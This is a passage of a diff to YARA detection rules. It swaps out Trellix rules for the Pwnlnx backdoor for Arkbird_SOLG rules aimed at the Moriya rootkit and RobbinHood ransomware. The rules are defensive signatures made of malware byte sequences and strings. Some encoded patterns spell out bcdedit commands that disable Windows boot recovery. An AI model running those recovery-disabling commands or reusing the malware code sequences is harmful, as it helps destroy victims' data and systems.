??4889????488B????4889??????488B????4889??????89??E8????????EB??90EB??90EB??90EB??90EB??908B????89??E8????????B8????????4881??????????5BC9C390554889??4889????89????C7????????????488B????4889????C7????????????EB??488B????0FB6??8B????89??C1????F7????89??48980FB6??????????89??31??488B????88??83??????4883??????8B????3B????7C??488B????C9C3554889??4889????89????488B????4889????C7????????????EB??488B????0FB6??0FB6??????????31??488B????88??83??????4883??????8B????3B????7C??488B????C9C39090554889??534881??????????89??????????48C7????????????48C7????????????48C7????????????8B????89??488D??????????8B??????????4889??89??E8????????85??0F84????????8B????89??488D??????????89??4889??E8????????488D??????????488D??????????4889??4889??E8????????BA????????488D??????????488D??????????BE????????4889??B8????????E8????????488D??????????4889??E8????????4883????4889??E8????????4889????4883??????0F84????????488D??????????488B????4889??4889??E8????????488D??????????488D????B9????????BA????????4889??4889??E8????????89????83??????0F8E????????C7????????????E9????????488B????8B????4863??48C1????4801??488B??488D????BA????????488D??????????488D??????????4989??BE????????4889??B8????????E8????????488D??????????488D??????????4889??4889??E8????????85??0F85????????48C7????????????48C7????????????488D??????????4883????4889??E8????????4889??E8????????488B??????????8B??????????4189??4181??????????8B??????????89??81??????????488B????8B????4863??48C1????4801??488B??488D????BA????????488D??????????4889??????4889??????488B????4889??????488B????4889????4589??4189??4889??BE????????4889?? }
+		$seq1 = { 8b 35 c4 30 40 00 8d 45 dc 68 92 24 40 00 50 ff d6 68 cc 24 40 00 8d 45 e4 50 ff d6 68 58 42 40 00 57 57 6a 22 8d 45 dc 50 57 53 ff 15 5c 30 40 00 8b f0 85 f6 0f 88 0a ff ff ff a1 58 42 40 00 83 48 1c 04 8d 45 dc 50 8d 45 e4 50 ff 15 60 30 40 00 e8 b2 00 00 00 }
+		$seq2 = { 68 3c 24 40 00 50 ff 15 c4 30 40 00 8d 85 d8 fe ff ff 50 ff 15 bc 30 40 00 85 c0 74 1b 8d 8d e0 fe ff ff 51 ff d0 8b 8d e4 fe ff ff 8b 85 e8 fe ff ff 0f b7 5d f4 eb 28 53 8d 85 cc fe ff ff 50 8d 85 d4 fe ff ff 50 8d 85 d0 fe ff ff 50 ff 15 ac 30 40 00 8b 8d d0 fe ff ff 8b 85 d4 fe ff ff c1 e1 08 0f b6 c0 0b c1 0f b6 cb }
+		$seq3 = { 8b 75 c0 8d 45 cc 50 ff 15 94 30 40 00 8b 5d c8 8b 43 0c 8b 55 bc 89 42 20 8b 43 08 89 42 1c 80 62 03 0f 8a 43 10 24 0f 08 42 03 8b 4b 08 85 c9 74 30 80 7e 24 00 74 06 f6 43 10 20 75 17 8b 46 18 85 c0 78 0a f6 43 10 40 75 0a 85 c0 79 20 f6 43 10 80 74 1a ff 73 0c 56 ff 75 b4 ff d1 8b f8 eb 0d 80 7e 21 00 74 07 8b 46 60 80 48 03 01 68 74 6e 68 00 53 ff 15 b4 30 40 00 }
+		$seq4 = { 6a 79 68 78 6f 00 00 68 72 70 00 00 6a 69 68 73 6e 00 00 6a 5c 68 72 65 00 00 6a 76 68 69 72 00 00 68 44 5c 00 00 50 e8 a2 f8 ff ff 83 c4 30 8d 85 7c ff ff ff 50 8d 85 6c ff ff ff 50 ff 15 c4 30 40 00 a1 88 30 40 00 68 34 42 40 00 56 56 ff 30 8d 85 6c ff ff ff 56 56 6a 40 50 ff 15 90 30 40 00 }
+		$seq5 = { 55 8b ec 81 ec 28 01 00 00 a1 04 40 40 00 33 c5 89 45 fc 8b 45 08 53 8b 5d 10 56 8b 75 0c 57 89 85 e8 fe ff ff 8d 7d 88 8b 45 14 6a 07 89 85 e4 fe ff ff 33 c0 59 f3 ab 33 ff 89 b5 d8 fe ff ff 68 94 00 00 00 8d 85 f0 fe ff ff 89 bd ec fe ff ff 57 50 e8 48 03 00 00 6a 06 89 7d e0 33 c0 59 8d 7d e4 f3 ab 33 ff 8d 45 a8 6a 38 57 50 89 7d a4 e8 2a 03 00 00 89 bd dc fe ff ff 8d 45 84 89 bd e0 fe ff ff 83 c4 18 89 bd dc fe ff ff 89 bd e0 fe ff ff 8d 7d 84 a5 ff b5 e4 fe ff ff 50 a5 53 a5 a5 c7 45 98 68 1b }
+		$s1 = "\\Device\\MoriyaStreamWatchmen" fullword wide
+		$s2 = "Moriya Filter" fullword wide
+		$s3 = "Moriya Callout" fullword wide
+		$s4 = "\\DosDevices\\MoriyaStreamWatchmen" fullword wide
 
 	condition:
-		uint16(0)==0x457f and filesize <1000KB and all of them
+		uint16(0)==0x5a4d and filesize >6KB and (3 of ($seq*) or 2 of ($s*))
 }
-import "pe"
-
-rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_3 : BACKDOOR FILE
+rule ARKBIRD_SOLG_MAL_Moriya_May_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect the backdoor pwnlnx variant"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "02ea1eb2-7235-5ed5-86ba-19d52e8fb428"
-		date = "2020-04-17"
-		modified = "2020-08-14"
-		reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_decade_of_RATs.yar#L67-L97"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "08f29e234f0ce3bded1771d702f8b5963b144141727e48b8a0594f58317aac75"
-		logic_hash = "8a1405f430ce57810577f65ef43a1425601bf49b5adb4f6f935505427ad9dc94"
+		description = "Detect Moriya rootkit used in the TunnelSnake operation"
+		author = "Arkbird_SOLG"
+		id = "6a78ddc0-b39f-5aec-9c54-980854173abf"
+		date = "2020-05-07"
+		modified = "2021-05-26"
+		reference = "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-26/Moriya/MAL_Moriya_May_2021_1.yara#L1-L27"
+		license_url = "N/A"
+		logic_hash = "f73049f261428c8921a2c8a86fb5d242719e5dc9f30a5c58e86be1a79d84a42d"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Pwnlnx"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "3eda93de4a1e7a35c040fad914a4885d079ffc3c1362153b74e10ff9121de22b"
+		hash2 = "d620f9c32adc39b0632f22ec6a0503bf906fd1357f4435463fbb4b422634a536"
+		tlp = "White"
+		adversary = "Chinese APT Group"
 
 	strings:
-		$bp = { 7F??4C4602??01??000000000000000002??3E????0000000004??00000000??????000000000000B0??3A??000000000000000040??????????????????????01??000005????????0000000000000000??????0000000000004000000000????????????0000????????????00000000????00000000????0000????0000????A40C??00000000C0??????????????C0??????????????5013??00000000????????????00000000????00000000??????000004??00005801??00000000??????4000000000??????4000000000????000000000000????000000000000??????000000000000070000??????0000C0??????????????C0??????????????C0??????????????28??00000000000078??00000000000008??00000000000051E5??64??000000000000000000000000000000000000000000000000000000000000000000000000000000000000????000000000000??????000010??000001??0000474E5500000000????0000??????000000000000C0????????????????????????0000????84????00000000C8??????0000000025????????0000????374200000000????A56C00000000????????????0000????????????0000????A56C00000000????????????0000??????4200000000????A56C00000000????????????0000????24??00000000????A56C00000000????????????0000????????????0000????A56C00000000????????????0000????83??????0000????A56C00000000????????????0000????5E42000000000000A66C00000000????????????0000??????4200000000????A66C00000000????????????0000????914200000000????A66C00000000????????????0000??????4200000000????A66C00000000????????????0000????????????0000????A66C00000000????????????0000????????????0000????A66C00000000????????????0000??????4200000000????A66C00000000????????????0000??????4200000000??????EC08??4301??????62??0000E8????????4883????C3FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????00000000000000000000000000000000000000000000000031??4989??5E4889??4883????505449C7??????????48C7??????????48C7??????????E8????????F490904883????488B??????????4885??74??FF??4883????C390909090909090909090909090B8????????55482D????????4883????4889??76??B8????????4885??74??5DBF????????FF??660F1F????????????5DC366666666????????????????????BE????????554881??????????48C1????4889??4889??48C1????4801??48D1??74??B8????????4885??74??5DBF????????FF??0F1F??5DC3660F1F??????80????????????75??554889??53BB????????4881??????????4883????488B??????????48C1????4883????4839??73??660F1F??????4883????4889??????????FF????????????488B??????????4839??72??E8????????B8????????4885??74??BF????????E8????????C6????????????4883????5B5DF3??669055B8????????4885??4889??74??BE????????BF????????E8????????BF????????4883????75??5DE9????????6690B8????????4885??74??FF??EB??9090554889??534881??????????89??????????48C7????????????8B????3D????????76??E9????????8B????89??488D??????????8B??????????4889??89??E8????????85??75??E9????????8B????89??488D??????????89??4889??E8????????488D??????????BE????????4889??E8????????4889????4883??????75??E9????????488D??????????488D??????????4889??4889??E8????????85??74??E9????????488B??????????4889????C7????????????488B????89????488B????48C1????89????4883????FF????FF????FF????E8????????4883????89????BE????????488D????E8????????8B??????????BA????????488D????89??E8????????85??75??E9????????8B??????????BA????????488D????89??E8????????85??75??E9????????BE????????488D????E8????????8B????4883????FF????FF????FF????E8????????4883????39??74??E9????????8B????89??48C1????4889??8B????89??4801??4889????488B????488B????BA????????4889??4889??E8????????488B????4889????EB??488B????488D??????????4889??BA????????BE????????4889??E8????????89????83??????7F??EB??8B????488D??????????89??4889??E8????????8B????4863??488D??????????8B??????????4889??89??E8????????85??75??EB??8B????48984801????488B????483B????7C??488B????4889??E8????????B8????????488B????C9C3554889??534881??????????4889??????????E8????????4889??E8????????C7????????????488B??????????8B????89????488B??????????8B??89????488B??????????8B????89????8B????8B????BA????????89??89??E8????????89????83??????75??E9????????488D????BA????????BE????????4889??E8????????C7????????????C7????????????8B????89????4883????FF????FF????FF????E8????????4883????89????488D????BE????????4889??E8????????488D????8B????BA????????4889??89??E8????????85??75??E9????????488D??????????4889??E8????????488D??????????BE????????4889??E8????????488D??????????8B????BA????????4889??89??E8????????85??75??EB??488D????8B????BA????????4889??89??E8????????85??75??EB??488D????BE????????4889??E8????????8B????4883????FF????FF????FF????E8????????4883????39??74??EB??8B????83????74??EB??8B????4883????FF????FF????FF????89??E8????????4883????908B????89??E8????????B8????????488B????C9C3554889??4889????89????C7????????????488B????4889????C7????????????EB??488B????0FB6??8B????99F7????89??48980FB6??????????31??89??488B????88??83??????4883??????8B????3B????7C??488B????5DC3554889??4889????89????488B????4889????C7????????????EB??488B????0FB6??0FB6??????????31??488B????88??83??????4883??????8B????3B????7C??488B????5DC39090554889??534881??????????89??????????48C7????????????48C7????????????48C7????????????8B????89??488D??????????8B??????????4889??89??E8????????85??75??E9????????8B????89??488D??????????89??4889??E8????????488D??????????488D??????????4889??4889??E8????????488D??????????488D??????????4889??BA????????BE????????4889??B8????????E8????????488D??????????4889??E8????????4883????4889??E8????????4889????4883??????75??E9????????488D??????????488B????4889??4889??E8????????488D????488D??????????B9????????BA????????4889??E8????????89????83??????0F8E????????C7????????????E9????????488B????8B????4863??48C1????4801??488B??488D????488D??????????488D??????????4989??4889??BA????????BE????????4889??B8????????E8????????488D??????????488D??????????4889??4889??E8????????85??0F85????????48C7????????????48C7????????????488D??????????4883????4889??E8????????4889??E8????????4989??488B??????????8B??????????25????????89??8B??????????25????????89??488B????8B????4863??48C1????4801??488B??488D????488D??????????415052FF????FF????4189??4189??BA????????BE????????4889??B8????????E8????????4883????488B????4889??E8????????4889??488D?????????? }
+		$seq1 = { 4c 8d 05 13 10 00 00 ff 15 95 12 00 00 48 8d 15 36 10 00 00 48 8d 4d c0 ff 15 fc 12 00 00 48 8d 15 65 10 00 00 48 8d 4d d0 ff 15 eb 12 00 00 48 8d 05 cc 23 00 00 41 b9 22 00 00 00 48 89 44 24 30 4c 8d 45 c0 c6 44 24 28 00 33 d2 83 64 24 20 00 48 8b cb ff 15 f0 11 00 00 33 d2 41 8b ce 8b f8 85 c0 79 09 4c 8d 05 6e }
+		$seq2 = { 4c 8d 05 85 10 00 00 ff 15 27 12 00 00 48 8b 05 80 23 00 00 48 8d 55 c0 48 8d 4d d0 83 48 30 04 ff 15 be 11 00 00 e8 c5 01 00 00 33 d2 41 8b ce 85 c0 79 0c }
+		$seq3 = { 33 db 48 8b 74 24 30 4c 8b 7c 24 38 48 8b 7c 24 40 4c 8b 64 24 48 4d 8b ec 48 8d 4c 24 58 ff 15 b7 1c 00 00 48 8b 46 10 49 89 44 24 f8 48 8b 46 08 49 89 45 f0 41 80 65 bb 0f 8a 46 18 24 0f 41 08 45 bb 4c 8b 4e 08 }
+		$seq4 = { 48 83 64 24 58 00 ba 44 5c 00 00 c7 44 24 50 79 00 00 00 41 b9 76 00 00 00 c7 44 24 48 78 6f 00 00 41 b8 69 72 00 00 c7 44 24 40 72 70 00 00 c7 44 24 38 69 00 00 00 c7 44 24 30 73 6e 00 00 c7 44 24 28 5c 00 00 00 c7 44 24 20 72 65 00 00 e8 03 f6 ff ff 48 8d 55 80 48 8d 4c 24 70 ff 15 74 17 00 00 48 8d 05 2d 28 00 00 45 33 c9 48 89 44 24 38 45 33 c0 48 8b 05 eb 16 00 00 48 83 64 24 30 00 c6 44 24 28 00 41 8d 51 40 48 8b 08 48 89 4c 24 20 48 8d 4c 24 70 ff 15 d9 16 00 00 85 c0 78 31 48 8b 0d ee 27 00 00 48 8b 81 e0 00 00 00 48 89 05 d8 27 00 00 48 8d 05 19 f7 ff ff 87 81 e0 00 00 00 48 8b 0d cc 27 00 00 ff 15 c6 16 00 00 33 c0 48 8b 4d 00 48 33 cc e8 58 0b 00 00 48 81 c4 10 01 00 }
+		$seq5 = { 40 55 53 56 57 41 56 48 8d ac 24 40 ff ff ff 48 81 ec c0 01 00 00 48 8b 05 47 1e 00 00 48 33 c4 48 89 85 b8 00 00 00 48 83 64 24 38 00 49 8b d8 48 83 64 24 50 00 48 8b fa 48 8b f1 33 d2 41 b8 c8 00 00 00 48 8d 4c 24 60 4d 8b f1 e8 0b 06 00 00 33 c0 48 8d 4d 30 0f 57 c0 48 89 85 b0 00 00 00 33 d2 0f 11 85 90 00 00 00 44 8d 40 58 0f 11 85 a0 00 00 00 e8 e2 05 00 00 0f 10 07 48 83 64 24 20 00 48 8d 05 72 f8 ff ff 48 89 44 24 40 48 8d 54 24 28 48 8d 05 81 fd ff ff 4d 8b c6 48 8b cb 48 89 44 24 48 f3 0f 7f 44 24 28 e8 13 05 00 00 8b d8 85 c0 0f 88 da 00 00 00 0f 10 07 48 8b 0d f7 1f 00 00 48 8d 05 30 0a 00 00 45 33 c9 48 89 45 40 f3 0f 7f 45 30 45 33 c0 48 8d 55 30 0f 10 06 48 89 45 48 f3 0f 7f 45 70 e8 22 05 00 00 8b d8 85 c0 0f 88 93 00 00 00 0f 10 06 83 65 c0 00 48 8d 05 14 0a 00 00 0f 10 0d 5d 0f 00 00 83 a5 a0 00 00 00 00 48 8d 54 24 60 48 8b 0d 9a 1f 00 00 45 33 c9 f3 0f 7f 45 a0 48 89 44 24 70 45 33 c0 0f 10 07 48 89 44 24 78 48 8d 85 90 00 00 00 48 89 45 d8 48 8d 44 24 20 f3 0f 7f 45 e4 c7 45 e0 03 50 00 00 0f 10 05 ff 0e 00 00 c7 45 d0 01 00 00 00 f3 0f 7f 8d 90 00 00 00 c7 85 a8 00 00 00 00 01 00 00 f3 0f 7f 45 b0 48 89 85 b0 00 00 00 e8 91 04 00 00 8b d8 85 c0 79 08 41 8b 0e e8 35 04 00 00 8b c3 48 8b 8d b8 00 00 00 48 33 cc e8 96 02 00 00 48 81 c4 c0 01 00 00 41 5e 5f 5e 5b }
+		$s1 = "Moriya : NotifyFunction\n" fullword ascii
+		$s2 = "Moriya Filter" fullword wide
+		$s3 = "Moriya : DeviceControlDispatch!\n" fullword ascii
+		$s4 = "Moriya : Waiting...\n" fullword ascii
+		$s5 = "Moriya : WriteDispatch!\n" fullword ascii
+		$s6 = { 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 4d 00 6f 00 72 00 69 00 79 00 61 00 53 00 74 00 72 00 65 00 61 00 6d 00 57 00 61 00 74 00 63 00 68 00 6d 00 65 00 6e }
+		$s7 = { 5c 00 44 00 6f 00 73 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 5c 00 4d 00 6f 00 72 00 69 00 79 00 61 00 53 00 74 00 72 00 65 00 61 00 6d 00 57 00 61 00 74 00 63 00 68 00 6d 00 65 00 6e }
+		$s8 = "Moriya start\n" fullword ascii
 
 	condition:
-		uint16(0)==0x457f and filesize <4000KB and all of them
+		uint16(0)==0x5a4d and filesize >6KB and (3 of ($seq*) or 6 of ($s*))
 }
-import "pe"
-
-rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_4 : BACKDOOR FILE
+rule ARKBIRD_SOLG_Ran_Robbinhood_Oct_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect the backdoor pwnlnx variant 4"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "199bb534-f0f6-5b67-aedd-3eada5e45cc6"
-		date = "2020-04-17"
-		modified = "2020-08-14"
-		reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_decade_of_RATs.yar#L99-L129"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "2590ab56d46ff344f2aa4998efd1db216850bdddfc146d5d37e4b7d07c7336fc"
-		logic_hash = "11203beee446aaf0783d3a8d3839a88ef16c27d52be8670d650ebf6a1de2c3aa"
+		description = "Detect RobbinHood ransomware"
+		author = "Arkbird_SOLG"
+		id = "adaacb06-0738-5d2b-b97e-b9007341f743"
+		date = "2020-11-04"
+		modified = "2020-11-05"
+		reference = "https://twitter.com/joakimkennedy/status/1323957238680178689"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-05/RobbinHood/Ran_RobbinHood_Oct_2020_1.yar#L1-L20"
+		license_url = "N/A"
+		logic_hash = "72d0e9b1e2f6aee8f24125e6e6801329e2fad016f05a94ad65c04874a016d09d"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Pwnlnx"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 67
+		tags = "FILE"
+		hash1 = "7c7ef3ab31ab91a7379bc2e3f32473dfa7adf662d0c640ef994103f6022a092b"
+		hash2 = "f927dd9044d7fa874dc6b98a0f5c9c647f3a9e5393bfe034b425cbf8db93e501"
+		hash2 = "3f56501f764d49723188bb119845fec4f2419a5080b74513fd0734e2a628e754"
 
 	strings:
-		$bp = { 7F??4C4602??01??000000000000000001??3E????000000000000000000000000000000000000????????????000000000000??????0000000040??????????????000014??000003??0000474E55????9FECFBE5??F973??EB??2A??????????71??BD????????0000000000000000554889??53E8????????FF????????????4889??4889??4881??????????FF????????????4889??5BC9C30F1F??????554889??E8????????FF????????????C9C366666666????????????????????554889??E8????????4885??74??4C8B????4D85??74??65??8B????????????8B??????????4889??????????48C7??????????89??C1????C1????01??25????????29??48984C89????????????FF??????????C9C3660F1F????????????31??C9C36666662E????????????????554889??E8????????4889??????????48C7??????????FF??????????C9C390554889??E8????????8B??????????488B??????????488D????0FB6????3C??400F94??3C??410F94??74??4084??75??B8????????C9C30F1F????????????8B??????????39????74??3B????74??4584??74??8B??????????4801??0FB7??????????66????74??66??????75??4889??41FF??B8????????C9C30F1F??4084??74??8B??????????4801??0FB7??????????66????75??EB??0F1F????554889??534883????E8????????31??4889??31??E8????????483D????????77??4885??74??488B????488B????488B????488B????4889??????????31??4889??E8????????31??4883????5BC9C383????EB??662E0F1F????????????554889??415453E8????????4989??4889??31??31??E8????????483D????????77??488B????31??4889??488B????488B????488B????488B??????????4989????4889??????????E8????????31??5B415CC9C383????EB??0F1F??????554889??534883????E8????????31??4889??31??E8????????483D????????77??4885??74??488B????488B????488B????488B????4889??????????31??4889??E8????????31??4883????5BC9C383????EB??662E0F1F????????????554889??415453E8????????4989??4889??31??31??E8????????483D????????77??488B????31??4889??488B????488B????488B????488B??????????4989????4889??????????E8????????31??5B415CC9C383????EB??0F1F??????554889??534883????E8????????31??4889??BE????????E8????????483D????????77??4885??74??488B????4889????31??4889??E8????????31??4883????5BC9C383????EB??660F1F??????554889??415453E8????????4989??4889??BE????????31??E8????????483D????????77??488B????31??4889??488B????4989????488B????4889????E8????????31??5B415CC9C383????EB??554889??4157415641554154534883????E8????????4889??488D????4989??4189??4889??BA????????4989??4489????4D89??E8????????488B??????????448B????4881??????????488D????75??EB??0F1F????488B????4881??????????488D????74??0FB7????4839??75??4883????31??5B415C415D415E415FC9C30F1F??????4D89??4C89??4489??4889??4C89??FF??????????4883????5B415C415D415E415FC9C30F1F????554889??4157415641554154534883????E8????????65??8B????????????4889????4889????4189??8B??????????4889??B9????????48C7??????????4889??4D89??4589??89??C1????C1????01??25????????29??F3A648984C8B????????????0F84????????B9????????48C7??????????4889??F3A60F84????????31??4585??4889??4889????4489????74??418D??????31??488D??????0FB6??4883????4889??48C1????48C1????4801??4801??4839??488D????488D????75??89????488D????4C89??E8????????4885??4889??0F84????????488B????4885??74??81????????????0F84????????488B??????????483D????????4C8D????75??EB??0F1F??????498B????483D????????4C8D????74??498B??4889??E8????????85??75??31??4883????5B415C415D415E415FC9C34589??4D89??488B????4489??4889??488B????FF??????????4883????5B415C415D415E415FC9C30F1F??????????81????????????0F85????????31??EB??488D????4C89??E8????????4885??4889??74??498B????488B??????????488B????4885??74??31??4889??4889????FF??4885??488B????0F84????????31??E9????????0F1F????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??41554154534883????E8????????4C8B??????????4989??4981??????????498D??????75??EB??0F1F????4C8B????4981??????????498D??????74??488B??4C89??E8????????85??75??4C89??E8????????488B??E8????????4889??E8????????4883????5B415C415DC9C36666662E????????????????554889??534883????E8????????488B??????????BA????????89??BF????????E8????????4885??74??66????488B??????????488D????48C7??????????E8????????4883????5BC9C30F1F????554889??534883????E8????????488B??????????BA????????89??BF????????E8????????4885??74??66????488B??????????488D????48C7??????????E8????????4883????5BC9C30F1F????554889??534883????E8????????488B??????????BA????????89??BF????????E8????????4885??74??66????488B??????????488D????48C7??????????E8????????4883????5BC9C30F1F????554889??534883????E8????????488B??????????BA????????89??BF????????E8????????4885??74??66????488B??????????488D????48C7??????????E8????????4883????5BC9C30F1F????554889?? }
+		$seq = { 20 21 3d 20 20 3c 3d 3d 20 61 73 20 20 61 74 20 20 66 70 3d 20 69 73 20 20 6c 72 3a 20 6f 66 20 20 6f 6e 20 20 70 63 3d 20 73 70 3a 20 73 70 3d 25 76 0d 0a 29 20 3d 20 29 20 6d 3d 2b 49 6e 66 2c 20 6e 20 2d 49 6e 66 2e 62 61 74 2e 63 6d 64 2e 63 6f 6d 2e 65 78 65 2f 50 49 44 31 30 36 30 33 31 32 35 3a 20 70 3d 41 43 44 54 41 43 53 54 41 45 44 54 41 45 53 54 41 4b 44 54 41 4b 53 54 41 57 53 54 41 68 6f 6d 41 74 6f 69 43 45 53 54 43 68 61 6d 44 61 73 68 45 45 53 54 47 4f 47 43 4a 75 6c 79 4a 75 6e 65 4c 69 73 75 4d 32 52 74 4d 32 52 7a 4d 32 5a 79 4d 32 63 79 4d 32 64 77 4d 33 42 79 4d 69 61 6f 4d 6f 64 69 4e 33 6f 3d 4e 5a 44 54 4e 5a 53 54 4e 65 77 61 4e 6a 41 79 51 56 4a 44 51 56 5a 51 53 41 53 54 53 74 61 74 54 55 31 54 54 68 61 69 54 6b 56 47 55 46 42 55 57 45 53 54 57 45 78 54 59 32 31 30 59 32 31 6b 59 32 35 6d 59 32 46 69 59 32 46 7a 59 32 4d 3d 59 32 52 34 59 32 52 6d 59 32 52 79 59 32 55 78 59 32 55 79 59 32 56 79 59 32 5a 6e 59 32 5a 77 59 32 5a 79 59 32 64 74 59 32 68 74 59 32 6c 69 59 32 78 7a 59 33 42 70 59 33 42 77 59 33 49 79 59 33 4a 30 59 33 4a 33 59 33 4d 3d 59 33 4e 32 59 33 4e 6f 59 33 4e 73 59 33 4e 79 59 33 4e 7a 59 33 52 6d 59 57 39 70 59 57 46 6a 59 57 49 30 59 57 4a 72 59 57 4e 30 59 57 4e 6f 59 57 4e 77 59 57 4e 79 59 57 52 69 59 57 52 70 59 57 52 77 59 57 52 7a 59 57 56 7a 59 57 6b 3d 59 57 6c 30 59 57 6c 6d 59 57 70 73 59 57 77 3d 59 58 42 71 59 58 42 72 59 58 4a 33 59 58 4e 30 59 58 4e 34 59 58 4e 6a 59 58 4e 6d 59 58 4e 74 59 58 4e 77 59 58 5a 70 59 58 64 6e 59 6d 31 77 59 6d 46 30 59 6d 46 35 59 6d 46 6a 59 6d 46 72 59 6d 46 79 59 6d 4d 32 59 6d 4d 33 59 6d 4e 76 59 6d 52 69 59 6d 5a 6d 59 6d 64 30 59 6d 6c 6e 59 6d 6c 72 59 6d 6c 75 59 6d 74 36 59 6d 74 6d 59 6d 74 77 59 6e 42 33 59 6e 4a 6b 59 6e 4e 68 59 6e 56 77 59 6e 6f 79 59 77 3d 3d 5a 32 38 3d 5a 32 46 74 5a 32 52 69 5a 32 68 76 5a 32 6c 6d 5a 33 42 6e 5a 33 4a 35 5a 33 6f 3d 5a 47 31 77 5a 47 35 6e 5a 47 39 30 5a 47 39 6a 5a 47 46 30 5a 47 46 6a 5a 47 46 7a 5a 47 49 3d 5a 47 49 77 5a 47 49 7a 5a 47 4a 34 5a 47 4a 68 5a 47 4a 6d 5a 47 4d 79 5a 47 4e 6f 5a 47 4e 79 5a 47 4e 7a 5a 47 52 6b 5a 47 52 7a 5a 47 56 74 5a 47 56 79 5a 47 56 7a 5a 47 5a 7a 5a 47 64 6a 5a 47 6c 30 5a 47 6c 6d 5a 47 6c 74 5a 47 6c 77 5a 47 6c 79 5a 47 70 32 5a 48 4a 33 5a 48 4a 6d 5a 48 4e 30 5a 48 4e 69 5a 48 4e 72 5a 48 52 6b 5a 48 64 6d 5a 48 64 6e 5a 48 64 7a 5a 48 68 30 5a 48 68 34 5a 48 68 69 5a 48 68 6d 5a 48 68 6e 5a 57 31 73 5a 57 52 69 5a 58 42 72 5a 58 42 7a 5a 58 4a 6d 5a 58 4e 74 5a 58 68 6d 5a 6d 31 69 5a 6d 39 7a 5a 6d 4a 33 5a 6d 52 69 5a 6d 59 3d 5a 6d 5a 6b 5a 6d 5a 6d 5a 6d 67 3d 5a 6d 68 6b 5a 6d 78 32 5a 6d 78 68 5a 6d 78 6d 5a 6e 42 34 5a 6e 42 72 5a 6e 4a 74 5a 6e 4e 6f 5a 6e 56 73 5a 6e 68 6e 0a 09 6d 3d 5d }
+		$com1 = "os/exec.(*Cmd).Run" fullword ascii
+		$com2 = "os/exec.(*Cmd).Start" fullword ascii
+		$com3 = { 43 3a 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c 73 31 2e 76 62 73 43 3a 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c 73 32 2e 76 62 73 43 }
+		$str1 = { 63 6d 64 7a 63 7a 4e 68 63 73 }
+		$str2 = { 59 32 31 6b 4c 6d 56 34 5a 53 41 76 59 79 42 69 59 32 52 6c 5a 47 6c 30 4c 6d 56 34 5a 53 41 76 63 32 56 30 49 48 74 6b 5a 57 5a 68 64 57 78 30 66 53 42 69 62 32 39 30 63 33 52 68 64 48 56 7a 63 47 39 73 61 57 4e 35 49 47 6c 6e 62 6d 39 79 5a 57 46 73 62 47 5a 68 61 57 78 31 63 6d 56 7a }
+		$str3 = { 59 32 31 6b 4c 6d 56 34 5a 53 41 76 59 79 42 69 59 32 52 6c 5a 47 6c 30 4c 6d 56 34 5a 53 41 76 63 32 56 30 49 48 74 6b 5a 57 5a 68 64 57 78 30 66 53 42 79 5a 57 4e 76 64 6d 56 79 65 57 56 75 59 57 4a 73 5a 57 51 67 62 6d 38 3d }
 
 	condition:
-		uint16(0)==0x457f and filesize <400KB and all of them
+		uint16(0)==0x5a4d and filesize >600KB and $seq and 2 of ($com*) and 2 of ($str*)
 }
 import "pe"
 
-rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_6 : BACKDOOR FILE
